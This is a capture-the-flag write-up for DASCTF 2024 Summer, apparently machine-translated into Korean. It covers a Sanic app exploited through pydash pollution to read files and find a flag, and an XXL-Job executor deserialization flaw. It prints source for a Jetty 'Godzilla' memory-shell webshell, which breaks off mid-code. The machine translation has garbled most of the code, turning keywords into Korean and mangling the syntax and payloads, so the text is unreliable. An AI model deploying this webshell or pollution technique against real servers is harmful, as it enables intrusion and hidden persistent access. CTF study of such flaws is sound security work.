제목 : DASCTF 2024 Summer Challenge Wp

WEB​

题目:Sanic's revenge​

문제 해결 단계
먼저 주어진 부착물 :을 참조하십시오
SANIC 가져 오기 SANIC에서
OS 가져 오기
Sanic.Response 가져 오기 텍스트, HTML에서
SYS 가져 오기
무작위로 가져옵니다
pydash를 가져옵니다
# pydash==5.1.2
# 여기서 소스 코드는 관리자가 삭제 한 것 같습니다. 나는 그 안에 큰 비밀이 숨겨져 있다고 들었습니다.
클래스 오피 루트 :
def __init __ (self) :
통과하다
app=sanic (__ name__)
app.static ( '/static/', './static/')
@app.route ( '/*** 비밀 *********')
비동기 DEF 비밀 (요청) :
Secret='***************************'
return text ( '내 경로 이름을 찾을 수 있습니까 ?'+Secret)
@app.route ( '/', method=[ 'get', 'post']))))
비동기 DEF 인덱스 (요청) :
return html (open ( 'static/index.html'). read ())
@app.route ( '/pollute', method=[ 'get', 'post']))))
비동기 DEF POMUTE (요청) :
key=request.json [ 'key']
value=request.json [ 'value']
키와 값과 유형 (키)이 str이고 'part'가 키에 있지 않으며 'proc'는 str (value)에없고 'Proc'및 유형 (값)이 목록이 아닙니다 .
오염기=오염 물질 ()
pydash.set_ (오염, 키, 가치)
반환 텍스트 ( '성공')
else:
log_dir=create_log_dir (6)
log_dir_bak=log_dir + '.'
log_file='/tmp/' + log_dir + '/access.log'
log_file_bak='/tmp/' + log_dir_bak + '/access.log.bak'
log='key:' + str (key) + '|' + 'value:' + str (value);
# 로그 파일을 생성합니다
OS.System ( 'mkdir /tmp /' + log_dir)
f:으로 Open (log_file, 'w')
F.Write (로그)
# 백업 로그 파일
OS.System ( 'mkdir /tmp /' + log_dir_bak)
f:으로 Open (log_file_bak, 'w')
F.Write (로그)
반환 텍스트 ( '! 여기서 무모한 행동이 없음, 불법 작전이 기록되었습니다 !')
__name__=='__ 메인 __': 인 경우
app.run (host='0.0.0.0')
소스 코드 :을 분석하십시오
/polute 경로는 오염 지점 pydash.set_을 제공하며, 이는 매개 변수 키와 값을 전달하여 프로토 타입 체인 오염을 달성 할 수 있습니다. 또한이 경로는 또한 WAF를 설정합니다. WAF가 트리거되면 키와 값의 값은 /TMP 디렉토리의 파일에 기록됩니다.
이름이 알려지지 않은 경로도 있습니다. 내부에 비밀이 있다고 생각할 수 있습니까?
프롬프트에 따르면 여기의 소스 코드가 완료되지 않았으므로 전체 소스 코드를 가져와야합니다.
여기서 진입 점은 프로토 타입 체인 오염입니다. file_or_directory를 루트 디렉토리로 오염 시키면 파일을 읽을 수 있습니다.
그런 다음 소스 코드 파일 이름을 얻는 방법을 찾아/static/proc/1/cmdline:에 액세스하려고합니다.
1049983-20241007092501905-1381800438.png

그런 다음 /start.sh:을 방문하십시오
1049983-20241007092502596-882819269.png

소스 코드 이름 :2Q17A58T9F65Y5i8.py를 가져옵니다
완전한 소스 코드 :을 얻으려면 /app/2q17a58t9f65y5i8.py를 방문하십시오
SANIC 가져 오기 SANIC에서
OS 가져 오기
Sanic.Response 가져 오기 텍스트, HTML에서
SYS 가져 오기
무작위로 가져옵니다
pydash를 가져옵니다
# pydash==5.1.2
#소스 코드는 관리자에 의해 삭제 된 것으로 보이며, 그 안에 큰 비밀이 숨겨져 있다고 들었습니다.
클래스 오피 루트 :
def __init __ (self) :
통과하다
def create_log_dir (n) :
ret=''
범위 (N) :의 I의 경우
num=random.randint (0, 9)
문자=chr (random.randint (97, 122))
문자=chr (random.randint (65, 90))
s=str (random.choice ([num, letter, letter])))
ret +=s
Ret
app=sanic (__ name__)
app.static ( '/static/', './static/')
@app.route ( '/wa58a1qeq59857qqrppq')
비동기 DEF 비밀 (요청) :
f:으로 Open ( '/h111int', 'r')
힌트=F.read ()
반환 텍스트 (힌트)
@app.route ( '/', method=[ 'get', 'post']))))
비동기 DEF 인덱스 (요청) :
return html (open ( 'static/index.html'). read ())
@app.route ( '/adminlook', method=[ 'get']))
Async def adminlook (요청) :
불법 로그를 볼 수있는 #EASY 관리자
log_dir=os.popen ( 'ls /tmp -al'). read ();
반환 텍스트 (log_dir)
@app.route ( '/pollute', method=[ 'get', 'post']))))
비동기 DEF POMUTE (요청) :
key=request.json [ 'key']
value=request.json [ 'value']
키와 값과 유형 (키)이 str이고 'part'가 키에 있지 않으며 'proc'는 str (value)에없고 'Proc'및 유형 (값)이 목록이 아닙니다 .
오염기=오염 물질 ()
pydash.set_ (오염, 키, 가치)
반환 텍스트 ( '성공')
else:
log_dir=create_log_dir (6)
log_dir_bak=log_dir+'.'
log_file='/tmp/'+log_dir+'/access.log'
log_file_bak='/tmp/'+log_dir_bak+'/access.log.bak'
log='key:'+str (key)+'|'+'value:'+str (value);
#Generate 로그 파일
OS.System ( 'mkdir /tmp /'+log_dir)
f:으로 Open (log_file, 'w')
F.Write (로그)
로그 파일을 백업합니다
OS.System ( 'mkdir /tmp /'+log_dir_bak)
f:으로 Open (log_file_bak, 'w')
F.Write (로그)
반환 텍스트 ( '! 여기서 무모한 행동이 없음, 불법 작전이 기록되었습니다 !')
__name__=='__ 메인 __': 인 경우
app.run (host='0.0.0.0')
추가 Route :WA58A1QEQ59857QQRPPQ를 볼 수 있으며 직접 액세스하여 힌트를 얻습니다.
/앱을 깃발하지만 그의 이름을 찾아야합니다!
앱 디렉토리에서 파일 이름을 볼 수있는 방법 찾기
여기에서 플래그 파일이 앱 디렉토리에 있다는 메시지가 표시되지만 플래그 이름을 모릅니다.
그런 다음 앱 디렉토리에 파일을 나열하는 방법을 찾아야합니다.
AdminLook 경로를 볼 수 있으며 /TMP 디렉토리의 파일을 볼 수 있으며 당사의 불법 로그는이 디렉토리에 기록됩니다. 먼저 불법 기록을 한 번 트리거 한 다음 adminlook Route :에 액세스합니다.
1049983-20241007092503306-864833807.jpg

여기에는 두 개의 디렉토리가 있음을 알 수 있습니다. 그 중 하나는 백업 디렉토리의 이름이 DDAHJ6입니다. 따라서이 디렉토리에 액세스하여 상단 디렉토리로 이동할 수 있습니다.
{ 'key':'__ class __ __ __ \\\\\\ .__ init __ \\\\\\\\ .__ globals __ __ \\\\\\\ TMP 디렉토리를 한 다음 기본 값 :을 오염시킵니다
{ 'key':'__ 클래스 __ __ __ \\\\\\ .__ init __ \\\\\\\\ .__ globals __ __ __ \\\\\\\.
또한 디렉토리 함수 :을 활성화해야합니다
{ 'key':'__ class __ __ __ __ \\\\\\\ .__ init __ \\\\\\\ \ .__ globals __ __ \\\\\\\\.
그런 다음 :을 방문하십시오
1049983-20241007092503888-2101886537.png

플래그 이름을보고 /app /45w698wqtsgqt1_flag를 방문하여 플래그를 얻을 수 있습니다.

题目:EasyJob​

문제 해결 단계
첨부 파일에 따르면, XXL-Job-Executor의 액세스를 위해 무단으로 취약한 취약점임을 확인할 수 있습니다. 다음 링크를 참조하십시오.
그러나 XXL-Job 버전은 비교적 오래되었으며 Hessian Desorialization에 의해 트리거되어야하는 버전이며 문제는 인터넷에서 나오지 않습니다. 현재 메모리 말을 치는 것은 불가피합니다. 따라서이 질문의 핵심 요점은 실제로 웹 종속성없이 부두 메모리 말을 주입하는 방법입니다.
핸들러는 다음과 같이 xxljob에 내장되어 있습니다
//
//Intellij Idea에 의해 .class 파일에서 재현 된 소스 코드
//(Fernflower 디 컴파일러에 의해 구동)
//
패키지 com.xxl.job.core.rpc.netcom.jetty.server;
com.xxl.job.core.rpc.codec.rpcrequest 가져 오기;
import com.xxl.job.core.rpc.codec.rpcresponse;
com.xxl.job.core.rpc.netcom.netcomserverFactory 가져 오기;
import com.xxl.job.core.rpc.serialize.hessianserializer;
import com.xxl.job.core.util.httpclientutil;
import java.io.ioexception;
import java.io.outputStream;
javax.servlet.servletexception import;
import javax.servlet.http.httpservletrequest;
import javax.servlet.http.httpservletresponse;
import org.eclipse.jetty.server.request;
import org.eclipse.jetty.server.handler.abstracthandler;
import org.slf4j.logger;
org.slf4j.loggerfactory;
Public Class JettyserverHandler 확장 ABSTRACTHANDLER {
개인 정적 로거 로거=loggerfactory.getLogger (jettyserverHandler.class);
Public JettyserverHandler () {
}
public void handle (문자열 대상, 요청 baserequest, httpservletrequest 요청, httpservletresponse 응답) ioexception, servletexception {
rpcresponse rpcresponse=this.doinvoke (요청);
바이트 [] responsebytes=hessianserializer.serialize (rpcresponse);
response.setContentType ( 'text/html; charset=utf-8');
Response.SetStatus (200);
Baserequest.Sethandled (true);
outputStream out=response.getOutputStream ();
out.write (ResponseBytes);
out.flush ();
}
개인 rpcresponse doinvoke (httpservletrequest 요청) {
rpcresponse rpcresponse;
노력하다 {
바이트 [] requestBytes=httpclientUtil.readBytes (요청);
if (requestBytes!=null requestBytes.length!=0) {
rpcrequest rpcrequest=(rpcrequest) hessianserializer.deserialize (requestBytes, rpcrequest.class);
rpcresponse rpcresponse=netcomserverfactory.invokeservice (rpcrequest, (Object) null);
rpcresponse를 반환합니다.
} 또 다른 {
rpcresponse=new rpcresponse ();
rpcresponse.seterror ( 'rpcrequest byte []는 null');
rpcresponse를 반환합니다.
}
} catch (예외 var5) {
logger.error (var5.getMessage (), var5);
rpcresponse=new rpcresponse ();
rpcresponse.seterror ( 'server-error:' + var5.getMessage ());
rpcresponse를 반환합니다.
}
}
}
JettyHandler, 우리가해야 할 일은 정확히 같은 것을 주입하는 것입니다. 여기에 특정 세부 사항에 대해 할 말이 없습니다. 메모리는 다음과 같습니다.
패키지 com.xxl.job.core;
import org.eclipse.jetty.server.*;
import org.eclipse.jetty.server.handler.abstracthandler;
import org.eclipse.jetty.server.handler.handlercollection;
import sun.misc.unsafe;
javax.crypto.cipher 가져 오기;
javax.crypto.spec.secretkeyspec import;
javax.servlet.servletexception import;
javax.servlet.servletoutputstream;
import javax.servlet.http.httpservletrequest;
import javax.servlet.http.httpservletresponse;
import java.io.ioexception;
import java.lang.ref.reference;
import java.lang.reflect.field;
import java.lang.reflect.method;
import java.net.url;
java.net.urlclassloader 가져 오기;
java.util.scanner import;
//author:boogipop
공개 클래스 JettygodzillAmemshell은 Abstracthandler를 확장합니다.
문자열 XC='3C6E0B8A9C15224A'; //열쇠
문자열 pass='사용자 이름';
문자열 md5=md5 (pass + xc);
클래스 페이로드;
공개 정적 문자열 md5 (문자열 s) {
문자열 ret=null;
노력하다 {
Java.Security.MessageDigest M;
m=java.security.messagegegest.getinstance ( 'md5');
m.update (s.getBytes (), 0, s.length ());
ret=new java.math.biginteger (1, m.digest ()). ToString (16) .toupperCase ();
} catch (예외 e) {
}
반품 반환;
}
public jettygodzillamemshell () {
System.out.println (1);
}
Public JettygodzillAmemshell (int s) {
System.out.println (2);
}
정적 {
노력하다 {
httpconnection valuefield=getValuefield ();
handlerCollection handler=(handlerCollection) valuefield.gethttpChannel (). getServer (). gethandler ();
Field Mutable WhenWhenrunning=handler.getClass (). getDeclaredfield ( '_ Mutable WhenRunning');
running.setAcc
 
뒤로
상단